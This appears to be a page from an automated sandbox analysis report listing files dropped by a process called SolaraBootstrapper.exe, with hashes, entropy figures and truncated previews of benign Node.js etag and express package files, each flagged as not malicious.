C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4198
Entropy (8bit):	5.2388246497103825
Encrypted:	false
SSDEEP:	96:IXCcnI159F3hrp6Kx+1+G+GG+HE++PU+j+N0WBNN:IycKFxr3U4b4+taph
MD5:	89C2C0F9F52F551591BFC484E9E4A5BB
SHA1:	1C8D6561875E0E3A276546B16F0596C9A231E269
SHA-256:	8A982DB264A205206E5F2C18B0DC2FBB3A46762E997E89FCEBF439E390D0CF65
SHA-512:	CA487012341BE1D26885D68A7E3A5157AEDD4870122A016BC71415505BAD1546FFA34C305D3A85F1698F55B3BFF4F36872027911E4C84DE95F5120598840B889
Malicious:	false
Preview:	# etag..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Create simple HTTP ETags..This module generates HTTP ETags (as defined in RFC 7232) for use in.HTTP responses...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install etag.```..## API.. eslint-disable no-unused-vars -->..```js.var etag = require('etag').```..### etag(entity, [options])..Generate a strong ETag for the given entity. This should be the complete.body of the entity. Strings, `Buffer`s, and `fs.Stats` are accepted. By.default, a strong ETag is generated except for `fs.Stats`, which will.generate a weak ET

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2479
Entropy (8bit):	4.87277685592207
Encrypted:	false
SSDEEP:	48:RBGj9Hi6KMyKW0Ng1yTCACja5vSwUDboyioGbJPmud7gyX6:2ZWwg1SCP26BaRw
MD5:	8EACA1927E67861A7682B7B2C0906EF1
SHA1:	6A87B3C916A9B9E4B202949BE356871E1682AF9E
SHA-256:	A95A23B9A60726A4522B768C88AD73A7EA2C539D220068227F5510A8EE2008AE
SHA-512:	F7FA830CA33BCE08C37B8789EADDB5BC6853C774EE86C96D801DEDBEC5955306B1A4BCC3F6EAE33AD4EA73278567ADA9038EAB8AB1E95B256F2D060F7A06388E
Malicious:	false
Preview:	/!. etag. * Copyright(c) 2014-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = etag../. Module dependencies.. * @private. /..var crypto = require('crypto').var Stats = require('fs').Stats../. Module variables.. * @private. /..var toString = Object.prototype.toString../. Generate an entity tag.. . @param {Buffer\|string} entity. * @return {string}. * @private. /..function entitytag (entity) {. if (entity.length === 0) {. // fast-path empty. return '"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"'. }.. // compute hash of entity. var hash = crypto. .createHash('sha1'). .update(entity, 'utf8'). .digest('base64'). .substring(0, 27).. // compute length of entity. var len = typeof entity === 'string'. ? Buffer.byteLength(entity, 'utf8'). : entity.length.. return '"' + len.toString(16) + '-' + hash + '"'.}../. Create a simple ETag.. . @param {string\|Buffer\|Stats} entity. * @param

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	4.880705927600969
Encrypted:	false
SSDEEP:	24:SF7vd11dxVkyOrhBFjFCfP6ifPVQeZWnWjxCcB6T+l6oOUZqy4y8e1w:27v5bVkdhz5CfSifPVQeQWjIe0+woOUu
MD5:	FEC91CC11E50EE734C65C2D703DB3884
SHA1:	E2DEBD5C6530254ABE164BBD44F1E48B7C7C0018
SHA-256:	836B9A5DD1C6AF638F4602E83E2568277F9AB1F457DB0B95D949C2A4DDB0462A
SHA-512:	7A1D205F6B06142313DF3A2F1D149D0F1801269D06D17E12B3A81398A62156B071D646DAB332497C1D0D9A873FB58A7FE37EE6B4B9D53C8A10EE6F2AB9434010
Malicious:	false
Preview:	{. "name": "etag",. "description": "Create simple HTTP ETags",. "version": "1.8.1",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "David Bj.rklund <david.bjorklund@gmail.com>". ],. "license": "MIT",. "keywords": [. "etag",. "http",. "res". ],. "repository": "jshttp/etag",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "3.19.0",. "eslint-config-standard": "10.2.1",. "eslint-plugin-import": "2.7.0",. "eslint-plugin-markdown": "1.0.0-beta.6",. "eslint-plugin-node": "5.1.1",. "eslint-plugin-promise": "3.5.0",. "eslint-plugin-standard": "3.0.1",. "istanbul": "0.4.5",. "mocha": "1.21.5",. "safe-buffer": "5.1.1",. "seedrandom": "2.4.3". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint --plugin markdown --ext

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\History.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	113674
Entropy (8bit):	4.971235838962134
Encrypted:	false
SSDEEP:	3072:8L6ttkL9LLAjclLsgNwsgX0RxCjC4MJHjH8oV:M6g9L/lLGXlDoV
MD5:	04851369D7F7B8D9E7364D7CB6B7120C
SHA1:	8856D3443BEF94A4AD5CBB8413DBFCC52E68F947
SHA-256:	568B44175FF2D0E9535F710CCE4B5E9473B258D72357F45CF3C0653335264C02
SHA-512:	950038C41BA1C1E5B67CBE7D75BC0D8B4248D0F4A5E0A7247EE1F5B37263062767B88CECE97B637767FACAB055A299B20FD64D68C60708DF96283C28E77A1E21
Malicious:	false
Preview:	4.19.2 / 2024-03-25.==========.. * Improved fix for open redirect allow list bypass..4.19.1 / 2024-03-20.==========.. * Allow passing non-strings to res.location with new encoding handling checks..4.19.0 / 2024-03-20.==========.. * Prevent open redirect allow list bypass due to encodeurl. * deps: cookie@0.6.0..4.18.3 / 2024-02-29.==========.. * Fix routing requests without method. * deps: body-parser@1.20.2. - Fix strict json error message on Node.js 19+. - deps: content-type@~1.0.5. - deps: raw-body@2.5.2. * deps: cookie@0.6.0. - Add `partitioned` option..4.18.2 / 2022-10-08.===================.. * Fix regression routing a large stack in a single route. * deps: body-parser@1.20.1. - deps: qs@6.11.0. - perf: remove unnecessary object clone. * deps: qs@6.11.0..4.18.1 / 2022-04-29.===================.. * Fix hanging on large stack of sync routes..4.18.0 / 2022-04-25.===================.. * Add "root" option to `res.download`. * Allow `options` without `file

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1249
Entropy (8bit):	5.276725197908448
Encrypted:	false
SSDEEP:	24:lLNZiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:fZiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	5513C00A5C36CD361DA863DD9AA8875D
SHA1:	056D455B1BD8DE050D92A35B6D20B6803725F29B
SHA-256:	95A5762890E5C1C9808921CEF095661FC482C5E1F0BBA31446AC85595DF6237C
SHA-512:	5E082F14AF74086BACFFA6BABB58741ECE4080E26A84C915169E85EC95ED607CFF3C302088AD7225A778EE34E24E5D837E22B02161CD30B3B6272BEC1FD22D56
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2009-2014 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2013-2014 Roman Shtylman <shtylman+expressjs@gmail.com>.Copyright (c) 2014-2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVEN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\Readme.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5421
Entropy (8bit):	5.038177684298331
Encrypted:	false
SSDEEP:	96:0BOY1RXkqaIXbK7GbGCccbEU3hjmeoQ7oIzQpIrEjH1aR2Zx:OOfqaIXogic51mGUn
MD5:	838DB28B501FAA40961AF644E01BAEF5
SHA1:	BF340719FCADE6EEEA502F10C88280279CE1A2AC
SHA-256:	265C5CE44C05F67C574B961D92BC71553580F88CB5B33AB7F2F6B1A19D4BF223
SHA-512:	52C3DBCC9DDBF750A6C8B5BB1B88EA1E612CD4DD3EE47E10224DAED44A8C293B900227AE15250CB662A7967868399DD7CA1616370C21AFBDF3AEB360D4202493
Malicious:	false
Preview:	[![Express Logo](https://i.cloudup.com/zfY6lL7eFa-3000x3000.png)](http://expressjs.com/).. Fast, unopinionated, minimalist web framework for [Node.js](http://nodejs.org)... [![NPM Version][npm-version-image]][npm-url]. [![NPM Install Size][npm-install-size-image]][npm-install-size-url]. [![NPM Downloads][npm-downloads-image]][npm-downloads-url]..```js.const express = require('express').const app = express()..app.get('/', function (req, res) {. res.send('Hello World').})..app.listen(3000).```..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/)...Before installing, [download and install Node.js](https://nodejs.org/en/download/)..Node.js 0.10 or higher is required...If this is a brand new project, make sure to create a `package.json` first with.the [`npm init` command](https://docs.npmjs.com/creating-a-package-json-file)...Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	224
Entropy (8bit):	5.139128378352818
Encrypted:	false
SSDEEP:	3:US94EcOmDDvB+Q91RmDDvm5wNi5pVmDDvHVJXWF3yFhWKZSsDp5cFDgqBBbJu4V9:Uju+BLPR+Mws57+xFvZSQp6tRBc49pH
MD5:	866E37A4D9FB8799D5415D32AC413465
SHA1:	3F41478FDAB31ACABAB8FA1D26126483A141FFB6
SHA-256:	4D2F5AFC192178C5B0DC418D2DA5826D52A8B6998771B011AEDE7FDBA9118140
SHA-512:	766D2E202DD5E520AC227E28E3C359CCA183605C52B4E4C95C69825C929356CEA772723A9AF491A3662D3C26F7209E89CC3A7AF76F75165C104492DC6728ACCC
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. */..'use strict';..module.exports = require('./lib/express');.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\application.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	14593
Entropy (8bit):	4.840760542344076
Encrypted:	false
SSDEEP:	384:uJPZeLhzIZrg8ZanN45ysF9qug+2O/e8JH+nBGMiksrf:DL2Zrg8ZanN45ysF9qug+ZQ2
MD5:	15CF9C2F48C7BA6583C59D28908E3E27
SHA1:	19C7718F6A3D0F9DCD4CA692C19718EC29AAE092
SHA-256:	5901B32F609BA349351BF7406DBDC0C4C57B77CE6F7215EA67CCCA5AC2A28E88
SHA-512:	C063277A59B83DFFC085116769475EC5CCE1C47C167B9BD2246E8BDA04F0EBC2773B5F06E3B44FC5ED057E043F6D33E77741F34D15E22542134E3865574A29BE
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var finalhandler = require('finalhandler');.var Router = require('./router');.var methods = require('methods');.var middleware = require('./middleware/init');.var query = require('./middleware/query');.var debug = require('debug')('express:application');.var View = require('./view');.var http = require('http');.var compileETag = require('./utils').compileETag;.var compileQueryParser = require('./utils').compileQueryParser;.var compileTrust = require('./utils').compileTrust;.var deprecate = require('depd')('express');.var flatten = require('array-flatten');.var merge = require('utils-merge');.var resolve = require('path').resolve;.var setPrototypeOf = require('setprototypeof')../. Module variables.. * @private. */..var hasOwnProperty = Object.prototype.hasOwnPr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\express.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	4.894117326550773
Encrypted:	false
SSDEEP:	48:6VkJiFLCajbbm0Awl/jVfNHlXNlDXSYzWwMDo2c5sLwIvGpeDlgJWigxzD:u7FdjHm5wlPHlXNlDXSYzWwYo2c5qw0z
MD5:	D467BC485EDDF6D38278BC6B1DC16389
SHA1:	E233882DE62EB095B3CAE0B2956E8776E6AF3D6A
SHA-256:	2F25585C03C3050779C8F5F00597F8653F4FB8A97448EF8EF8CB21E65BA4D15D
SHA-512:	2ADD66B4F2E8CE463449CA8F2EAC19363844B6AB159A41B42163028C57F07A4245EBEFE759A6F90E8685B5BD239C969FE99366EFF89378CB8B92B8A703DACD61
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. /..var bodyParser = require('body-parser').var EventEmitter = require('events').EventEmitter;.var mixin = require('merge-descriptors');.var proto = require('./application');.var Route = require('./router/route');.var Router = require('./router');.var req = require('./request');.var res = require('./response');../. Expose `createApplication()`.. /..exports = module.exports = createApplication;../. Create an express application.. . @return {Function}. * @api public. */..function createApplication() {. var app = function(req, res, next) {. app.handle(req, res, next);. };.. mixin(app, EventEmitter.prototype, false);. mixin(app, proto, false);.. // expose the prototype that will get set on requests. app.request = Object.create(req, {. app: { configurable: true

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\middleware\init.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	853
Entropy (8bit):	4.971879744758794
Encrypted:	false
SSDEEP:	24:T+VR+s7+HzRNLyJ4FarCBAbcm9wcSgDtyfA2Wo1PRcojUJD/H:6VkJTRNLy+UZb19/SDfA2l1JXjUJD
MD5:	3711AE7EA348D39A41C5139A63E89C12
SHA1:	4B8B9456B57267D5892B097D4FF316838E41DFDD
SHA-256:	48C1D12F1494B20377FCDEEC9056272EFF84ED8C081E1E56DC2AEA395F77D19C
SHA-512:	67EA7DBB5C8CF37B524B246FEDA839A328A824C4CDFD9BF9FF97F79F28C45048B3F213E363B89F2BE3837815C41903F62D3479DBBCC5A9545E8AEBF21474668A
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var setPrototypeOf = require('setprototypeof')../. Initialization middleware, exposing the. * request and response to each other, as well. * as defaulting the X-Powered-By header field.. . @param {Function} app. * @return {Function}. * @api private. */..exports.init = function(app){. return function expressInit(req, res, next){. if (app.enabled('x-powered-by')) res.setHeader('X-Powered-By', 'Express');. req.res = res;. res.req = req;. req.next = next;.. setPrototypeOf(req, app.request). setPrototypeOf(res, app.response).. res.locals = res.locals \|\| Object.create(null);.. next();. };.};..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\middleware\query.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	885
Entropy (8bit):	4.911087592595629
Encrypted:	false
SSDEEP:	24:T+VR+s7+1wAoBeqL35fMwl3rxXnpNglD/f:6VkJqj1dMwlNpNQz
MD5:	A6E9A6C92C5BFDD9D7B08B267A3B1D44
SHA1:	A66AA642AD6C666470803022CC7C5C46732BD5BC
SHA-256:	6EDCE3963588B42E41942900B24218E665B97DF0C0B1C74090B2B934FA68CA08
SHA-512:	00DBD6EC9969EA9D859A9FD30339A5DD4FC70F2C18D1B49A9A298389A4473A8E7F5A6FA8D2A820053643C143D7202DFDBA59236E19AC28B5C19225D2DF52F386
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. /..var merge = require('utils-merge').var parseUrl = require('parseurl');.var qs = require('qs');../. @param {Object} options. * @return {Function}. * @api public. */..module.exports = function query(options) {. var opts = merge({}, options). var queryparse = qs.parse;.. if (typeof options === 'function') {. queryparse = options;. opts = undefined;. }.. if (opts !== undefined && opts.allowPrototypes === undefined) {. // back-compat for qs module. opts.allowPrototypes = true;. }.. return function query(req, res, next){. if (!req.query) {. var val = parseUrl(req).query;. req.query = queryparse(val, opts);. }.. next();. };.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\request.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12505
Entropy (8bit):	4.944383698965698
Encrypted:	false
SSDEEP:	384:uqOLFAdcH1y3xzl8TuoksKJW9vsRHgViHfWReYSi59lrvVK:+Adc2lEfl79vs17HfWRSidvVK
MD5:	7DE9073E4CD5121EBD975F8FC252E3B3
SHA1:	8C91F08385B3D241B180EA5326A3E1BE016945D1
SHA-256:	64AC10752C0516D789CB0698BB433586D4CE3B46F7F06EE3CB2880762B8BDA40
SHA-512:	F7CCD3077E6A4D1E2A2B008BB3156DA88F7705B92086B56755C7EC95CCDF1F79583AE400F51939C9DE6DAF03E9F6641371720186F19366C8111E7471351621B1
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var accepts = require('accepts');.var deprecate = require('depd')('express');.var isIP = require('net').isIP;.var typeis = require('type-is');.var http = require('http');.var fresh = require('fresh');.var parseRange = require('range-parser');.var parse = require('parseurl');.var proxyaddr = require('proxy-addr');../. Request prototype.. * @public. /..var req = Object.create(http.IncomingMessage.prototype)../. Module exports.. * @public. /..module.exports = req../. Return request header.. . The `Referrer` header field is special-cased,. * both `Referrer` and `Referer` are interchangeable.. . Examples:. . req.get('Content-Type');. * // => "text/plain". . req.get('content-type');. * // => "text/plain". . req.get('Somet

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\response.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	28339
Entropy (8bit):	4.8853987336007485
Encrypted:	false
SSDEEP:	768:tz7qICPSMJNTNXdj/8WByFJAhArYWqdUpa:1qHnJFZdj/8WByFJ6ArUQa
MD5:	B95E98D87C48B055F2E37CF427B2EDBF
SHA1:	727206ECCBBD4F4C17FD9E0E9A940DCDF399E014
SHA-256:	8761B1592827B8D4708DC17810A7359B35CA469BDE3BB10AABDCE6A1884629A8
SHA-512:	109D817D3DFEE1C6F7058970BBE0255A9EC412F102CB4C2115B235189904219728877DEEEDCBDB9F12138B8518F1E89A63BBEDFD92E9657A60E45DB77EF1E059
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. */..var Buffer = require('safe-buffer').Buffer.var contentDisposition = require('content-disposition');.var createError = require('http-errors').var deprecate = require('depd')('express');.var encodeUrl = require('encodeurl');.var escapeHtml = require('escape-html');.var http = require('http');.var isAbsolute = require('./utils').isAbsolute;.var onFinished = require('on-finished');.var path = require('path');.var statuses = require('statuses').var merge = require('utils-merge');.var sign = require('cookie-signature').sign;.var normalizeType = require('./utils').normalizeType;.var normalizeTypes = require('./utils').normalizeTypes;.var setCharset = require('./utils').setCharset;.var cookie = require('cookie');.var send = require('send');.var extname = path.extname;.var mime = send.mime;.var resolve = pat

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\router\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15123
Entropy (8bit):	4.740050696950153
Encrypted:	false
SSDEEP:	384:udXSdzoyXJwl082ungnSy3quQKgOXAWugvfQB:2czoOyA3quQKzwVgvfa
MD5:	97A86CF767627BBA9B50BFFBDDA677A8
SHA1:	C71D3D8FF843D6687C9D28874374A828D61792EA
SHA-256:	19C5CA9B025396612DBE464D07FBE7104FF9170C4D6A1C7E5507DF4DBBF4D5CB
SHA-512:	F5755588F4B87E50F4B3CB32C3D5797D896E63D011F9968A68CE1921521D79A6D4E3383E7EB9C8538F3F97504552702860707D4DC186BB781A8060EBC08E3CDD
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var Route = require('./route');.var Layer = require('./layer');.var methods = require('methods');.var mixin = require('utils-merge');.var debug = require('debug')('express:router');.var deprecate = require('depd')('express');.var flatten = require('array-flatten');.var parseUrl = require('parseurl');.var setPrototypeOf = require('setprototypeof')../. Module variables.. * @private. /..var objectRegExp = /^\[object (\S+)\]$/;.var slice = Array.prototype.slice;.var toString = Object.prototype.toString;../. Initialize a new `Router` with the given `options`.. . @param {Object} [options]. * @return {Router} which is a callable function. * @public. */..var proto = module.exports = function(options) {. var opts = options \|\| {};.. function router(req, res, n

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\router\layer.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3296
Entropy (8bit):	4.8012259683932115
Encrypted:	false
SSDEEP:	48:6VkJgAxq9H7/q7RGbhfI4gGu0d7o7PqgLeGv7w8qKKXOVG5TPPLdmnzFo9rjtwU4:uYC/HfI4gh0MHL5LgdtYzFo9rOUrm8Mb
MD5:	C6E16965EF05CC02CFEE78022496ABAB
SHA1:	302244D96AFC6D6FCAAA3AFAE016FBE8168F192C
SHA-256:	C90709DCBA8D9A6CFD1F2B4EF6D7A22D833E317F0C876D884342CEE5A96F8A02
SHA-512:	7DDCAB429A9C8857BD7E9170C92EBFD3E3C59CE52323021B53E24BA776ABA3A757098AE9F3264585E4FE5F3C331E747307301344DC19EAE9345E68629A5C440C
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var pathRegexp = require('path-to-regexp');.var debug = require('debug')('express:router:layer');../. Module variables.. * @private. /..var hasOwnProperty = Object.prototype.hasOwnProperty;../. Module exports.. * @public. /..module.exports = Layer;..function Layer(path, options, fn) {. if (!(this instanceof Layer)) {. return new Layer(path, options, fn);. }.. debug('new %o', path). var opts = options \|\| {};.. this.handle = fn;. this.name = fn.name \|\| '<anonymous>';. this.params = undefined;. this.path = undefined;. this.regexp = pathRegexp(path, this.keys = [], opts);.. // set fast path flags. this.regexp.fast_star = path === ''. this.regexp.fast_slash = path === '/' && opts.end === false.}../*. Handle the error for the layer.. . @p

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\router\route.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4399
Entropy (8bit):	4.797709127541757
Encrypted:	false
SSDEEP:	96:uMM7HcXNnPON7NOSjMiCg0AYecAueTg0hH4XEaOTXvg:uMM7Hk5POlNOSAiCg0AYepuigoSEtTvg
MD5:	F369E8206668EED53791E8633D8B9850
SHA1:	415EABADE20B94E1863E7D1CB89DB82243294A24
SHA-256:	86DB123570815A63DC23AA88D73E1B3DCE908692AC2E3CF20FA350D69DE63337
SHA-512:	41BD013D1EE562230C58CF3789A483D5DC7D3FA3286A18B990B8E1F8222E3A9721798BD7ADF78062CC8AEBE7BDBF0FB788554CDE003B413CB7F9260CFE8C017A
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var debug = require('debug')('express:router:route');.var flatten = require('array-flatten');.var Layer = require('./layer');.var methods = require('methods');../. Module variables.. * @private. /..var slice = Array.prototype.slice;.var toString = Object.prototype.toString;../. Module exports.. * @public. /..module.exports = Route;../. Initialize `Route` with the given `path`,. . @param {String} path. * @public. /..function Route(path) {. this.path = path;. this.stack = [];.. debug('new %o', path).. // route handlers for various http methods. this.methods = {};.}../. Determine if the route handles a given method.. * @private. */..Route.prototype._handles_method = function _handles_method(method) {. if (this.methods._all) {. return tr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\utils.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5871
Entropy (8bit):	4.898946986989178
Encrypted:	false
SSDEEP:	96:uXcRzPReHkGVZwJ5J98tK9vgkDmKv0DzJal2g6PigcwOVcz2aIDzMcrJk:uXsJePZYhxDZv4z+HYiglOVcz27/Mcry
MD5:	D0AF8049AEAE0B030CADA613FE49EF9C
SHA1:	8D7970A663C3045C366545610EE53F0BA0F33144
SHA-256:	9035C6D946ECE511E749043CC823E32D3EFE6727B8A9D52AAC89649E99584F09
SHA-512:	3FBF3AFBE7711B7426E81129B3D1728D1B8717C6F0D7BA574D6089AEF6BB5E6E5C566A50CD5D1CED5C385B2FA9F5C378ECB7FCBFE4970FA7DB805932422578B8
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @api private. /..var Buffer = require('safe-buffer').Buffer.var contentDisposition = require('content-disposition');.var contentType = require('content-type');.var deprecate = require('depd')('express');.var flatten = require('array-flatten');.var mime = require('send').mime;.var etag = require('etag');.var proxyaddr = require('proxy-addr');.var qs = require('qs');.var querystring = require('querystring');../. Return strong ETag for `body`.. . @param {String\|Buffer} body. * @param {String} [encoding]. * @return {String}. * @api private. /..exports.etag = createETagGenerator({ weak: false })../. Return weak ETag for `body`.. . @param {String\|Buffer} body. * @param {String} [encoding]. * @return {String}. * @api private. /..exports.wetag = createETagGenerator({ weak: true })../. Check if `path`

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\view.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3325
Entropy (8bit):	4.884262682122576
Encrypted:	false
SSDEEP:	96:uMeYKks7x6BfOEnaJCpiq6qDTS8u2YaYpL9:uMeCs7EBfzaJfqxQFpL9
MD5:	09C05D27B2F11D1BD70FB54C24C60311
SHA1:	4CFB7F23CB0A4B9F11DACC7E81DCA3782F63552F
SHA-256:	EC627880C1B43AEE5887164AC2E9C58F01E4EE8086E23A829EDDF1AF3858C021
SHA-512:	0AA9EF9F07692D0C254CDEDDE8063B5D1DD4F5A81969F5293B74BC18B2169041892A164E3C1FBDCBE06C8AAFABD4C28E9072C754FB6A8B833E6153E1C359886F
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var debug = require('debug')('express:view');.var path = require('path');.var fs = require('fs');../. Module variables.. * @private. /..var dirname = path.dirname;.var basename = path.basename;.var extname = path.extname;.var join = path.join;.var resolve = path.resolve;../. Module exports.. * @public. /..module.exports = View;../. Initialize a new `View` with the given `name`.. . Options:. . - `defaultEngine` the default template engine name. * - `engines` template engine require() cache. * - `root` root path for view lookup. . @param {string} name. * @param {object} options. * @public. */..function View(name, options) {. var opts = options \|\| {};.. this.defaultEngine = opts.defaultEngine;. this.ext = 